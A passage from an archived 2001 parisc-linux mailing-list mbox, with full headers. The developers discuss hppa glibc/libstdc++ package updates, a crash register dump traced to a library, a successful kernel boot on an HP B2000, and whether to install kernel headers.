Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE75+uUDg+hOeRZtkMRAulkAJ9P9dK5hxecKRFjBrpNLwwaHXxcFwCeLNqF
fzpH+hphy9zByOKJWo/m+tM=
=xMgG
-----END PGP SIGNATURE-----

--Dxnq1zWXvFF0Q93v--



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 16:00:21 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <006c01c166cb$60ac8dc0$56dc10c3@amos>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <3BE7E197.BC71474C@esiee.fr> <3BE7E2FC.B63BFDC4@umr.edu> <3BE7E2EB.8E765EBB@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620714 29265 80.91.229.3 (22 Nov 2014 01:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:14 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:55:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F82B482B
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 06:55:47 -0700 (MST)
Original-Received: from amos (dyn-3-085.tku.netti.fi [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id 427C23A5A
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 15:55:38 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12924

> For the moment, the files are in gluck.debian.org/~tausq/hppa. But I
> think they will soon be available via apt-get. But, I will wait for

Where can I find the sources+patches used ?

--
Kaj-Michael Lang , milang@tal.org




From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 15:57:38 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20011106155737.B4719@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620714 29266 80.91.229.3 (22 Nov 2014 01:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:58:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7775C482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 06:58:40 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 1616kP-0002cu-00
	for parisc-linux@lists.parisc-linux.org; Tue, 06 Nov 2001 15:58:37 +0200
Original-Received: (qmail 26546 invoked from network); 6 Nov 2001 13:58:34 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 13:58:34 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 1616jS-0001EY-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 06 Nov 2001 15:57:38 +0200
Content-Disposition: inline
In-Reply-To: <20011106155428.A4719@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *1616kP-0002cu-00*Ke.JtngKR8w* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12925

Hello,

Forgot to add the kernel info to previous post...

init-2.05# uname -a
Linux bob 2.4.9-pa70 #5 Tue Nov 6 12:58:22 SAST 2001 parisc unknown

This is the latest snapshot on ftp.parisc-linux.org.

Regards,

Albert



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 14:36:16 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620715 29269 80.91.229.3 (22 Nov 2014 01:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 07:36:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E697A482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 07:36:18 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1617Kq-0003SU-00; Tue, 06 Nov 2001 14:36:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011106155428.A4719@dogbert.localdomain>; from fullung@ilink.nis.za on Tue, Nov 06, 2001 at 03:54:28PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12926

On Tue, Nov 06, 2001 at 03:54:28PM +0200, Albert Strasheim wrote:
> IASQ: 0000004c 0000004c IAOQ: 401cec23 401cec27
>  IIR: 00040948    ISR: 0000004c  IOR: 00000000
>  CPU:        0   CR30: 15bb0000 CR31: 10350000
>  ORIG_R28: 00000001
> 
> Clearly it does happen. Mehehe. :-)
> 
> Should I decode this? I think I'll find instructions in the list
> archive? Search for "decode"?

401cec23 is in a library... it might need to get recompiled too.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 16:16:13 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20011106161613.M8938@linuxcare.com>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain> <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620715 29272 80.91.229.3 (22 Nov 2014 01:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:15 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 09:15:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86E8D482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 09:15:08 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2F783B00C; Tue,  6 Nov 2001 16:16:13 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Nov 06, 2001 at 02:36:16PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12927

On Tue, Nov 06, 2001 at 02:36:16PM +0000, Matthew Wilcox wrote:
> On Tue, Nov 06, 2001 at 03:54:28PM +0200, Albert Strasheim wrote:
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001101111111100001111
> > r0-3     00000000 401e43fc 401845ff 00045990
> > r4-7     401e5bfc faf00d10 faf00b90 0000000a
> > r8-11    0004d1b0 faf00948 0004d1d8 faf00ba8
> > r12-15   00000000 faf00b98 000c5210 00000000
> > r16-19   00000000 00000000 10348000 00045220
> > r20-23   00000002 401cec20 401845b0 00000000
> > r24-27   00000020 00045998 faf00d90 00040220
> > r28-31   faf00d10 00000005 faf00e00 00026f03
> > sr0-3    00000000 0000004c 00000000 0000004c
> > sr4-7    0000004c 0000004c 0000004c 0000004c
> >
> > IASQ: 0000004c 0000004c IAOQ: 401cec23 401cec27
> >  IIR: 00040948    ISR: 0000004c  IOR: 00000000
> >  CPU:        0   CR30: 15bb0000 CR31: 10350000
> >  ORIG_R28: 00000001
> > 
> > Clearly it does happen. Mehehe. :-)
> > 
> > Should I decode this? I think I'll find instructions in the list
> > archive? Search for "decode"?
> 
> 401cec23 is in a library... it might need to get recompiled too.


From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nobody@nowhere.invalid (Unknown)
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sat, 22 Nov 2014 01:45:15 +0000 (UTC)
Lines: 32
Approved: news@gmane.org
Message-ID: <17712.5709517442$1416620715@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620715 29276 80.91.229.3 (22 Nov 2014 01:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:15 +0000 (UTC)
Original-X-From: running apt-get under gdb on my system, having installed the new
debs: 
Xref: news.gmane.org gmane.linux.ports.parisc:12928


0x401cec20 <_ZSt8buf_cout>:     #   40948

00000000401ce000-00000000401e7000 rwxp 00000000000a7000 08:03 65295      /usr/lib/libstdc++.so.3.0.2

Albert, I assume you did install the new libstdc++3 as well?

apt-get works fine for me, btw (715/75 and a500), running apt 0.5.4


Albert's r2 was 401845ff:

0x401845f0 <_ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm+64>: stw r21,-6c(sr0,sp)
0x401845f4 <_ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm+68>: b,l 0x4018ec44 <_ZNSbIwSt11char_traitsIwESaIwEEC1Ev+1088>,rp
0x401845f8 <_ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm+72>: stw r20,-34(sr0,sp)
0x401845fc <_ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm+76>: copy r5,ret0
0x40184600 <_ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm+80>: copy r4,r19

which looks reasonable...

0x4018ec44 <_ZNSbIwSt11char_traitsIwESaIwEEC1Ev+1088>:  addil -1800,r19,%r1
0x4018ec48 <_ZNSbIwSt11char_traitsIwESaIwEEC1Ev+1092>:  ldw 5e8(sr0,r1),r21
0x4018ec4c <_ZNSbIwSt11char_traitsIwESaIwEEC1Ev+1096>:  bv r0(r21)
0x4018ec50 <_ZNSbIwSt11char_traitsIwESaIwEEC1Ev+1100>:  ldw 5ec(sr0,r1),r19

a .plt lookup, or something.


Richard




From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000 :-)
Date: Tue, 6 Nov 2001 16:15:08 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20011106161508.C1639@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620716 29504 80.91.229.3 (22 Nov 2014 01:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 09:15:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D805482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 09:15:10 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fA6GF8502773
	for parisc-linux@lists.parisc-linux.org; Tue, 6 Nov 2001 16:15:08 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12929

Good news :-)

bofh:/etc/network# uname -a
Linux bofh 2.4.9-pa70 #1 Tue Nov 6 15:38:47 GMT 2001 parisc unknown

bofh:/etc/network# cat /proc/cpuinfo 
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 400.000000
model           : 9000/785/B2000
model name      : Kazoo W+
hversion        : 0x00005d00
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
BTLB            : not supported
bogomips        : 799.53
software id     : 2011377660


The kernel snapshot from late October crashed on this machine.
Now all runs smooth :-)   (with serial console and no IDE connected)


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Tue, 06 Nov 2001 11:04:34 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20011106180434.D22C337DAD@carmen.fc.hp.com>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>  
 <20011102140941.B17393@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620716 29540 80.91.229.3 (22 Nov 2014 01:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:16 +0000 (UTC)
Cc: kenneth westelinck <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 11:04:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id A29BE482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 11:04:50 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 41CC6937; Tue,  6 Nov 2001 13:04:49 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D22C337DAD; Tue,  6 Nov 2001 11:04:34 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Albert Strasheim <fullung@ilink.nis.za> 
   of "Fri, 02 Nov 2001 14:09:41 +0200." <20011102140941.B17393@dogbert.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12930

Albert Strasheim writes...

> AFAIK, we're still missing a kernel-headers package for hppa; someone
> suggested simply install the sparc one. Don't know how well that works.

DO NOT use the Sparc ones. I'm not even sure why they're available for hppa. 
Just take the ones from cvs and put them in the right place. Someday we'll 
have a kernel-headers package for hppa...

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Tue, 6 Nov 2001 18:11:08 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011106181108.B27997@parcelfarce.linux.theplanet.co.uk>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <20011102140941.B17393@dogbert.localdomain> <fullung@ilink.nis.za> <20011106180434.D22C337DAD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620716 29545 80.91.229.3 (22 Nov 2014 01:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:16 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>,
	kenneth westelinck <kennywest1@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 11:11:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B805482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 11:11:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 161Agm-0007jW-00; Tue, 06 Nov 2001 18:11:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011106180434.D22C337DAD@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, Nov 06, 2001 at 11:04:34AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12931

On Tue, Nov 06, 2001 at 11:04:34AM -0700, Matt Taggart wrote:
> DO NOT use the Sparc ones. I'm not even sure why they're available for hppa. 
> Just take the ones from cvs and put them in the right place. Someday we'll 
> have a kernel-headers package for hppa...

the only people needing kernel headers are people who build glibc.
there is no reason for anyone else to have them installed.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 19:24:47 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20011106192447.O8938@linuxcare.com>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain> <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk> <20011106161613.M8938@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620717 29547 80.91.229.3 (22 Nov 2014 01:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:17 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 12:23:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA5F6482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 12:23:42 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 76F21B00C; Tue,  6 Nov 2001 19:24:47 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011106161613.M8938@linuxcare.com>; from rhirst@linuxcare.com on Tue, Nov 06, 2001 at 04:16:13PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
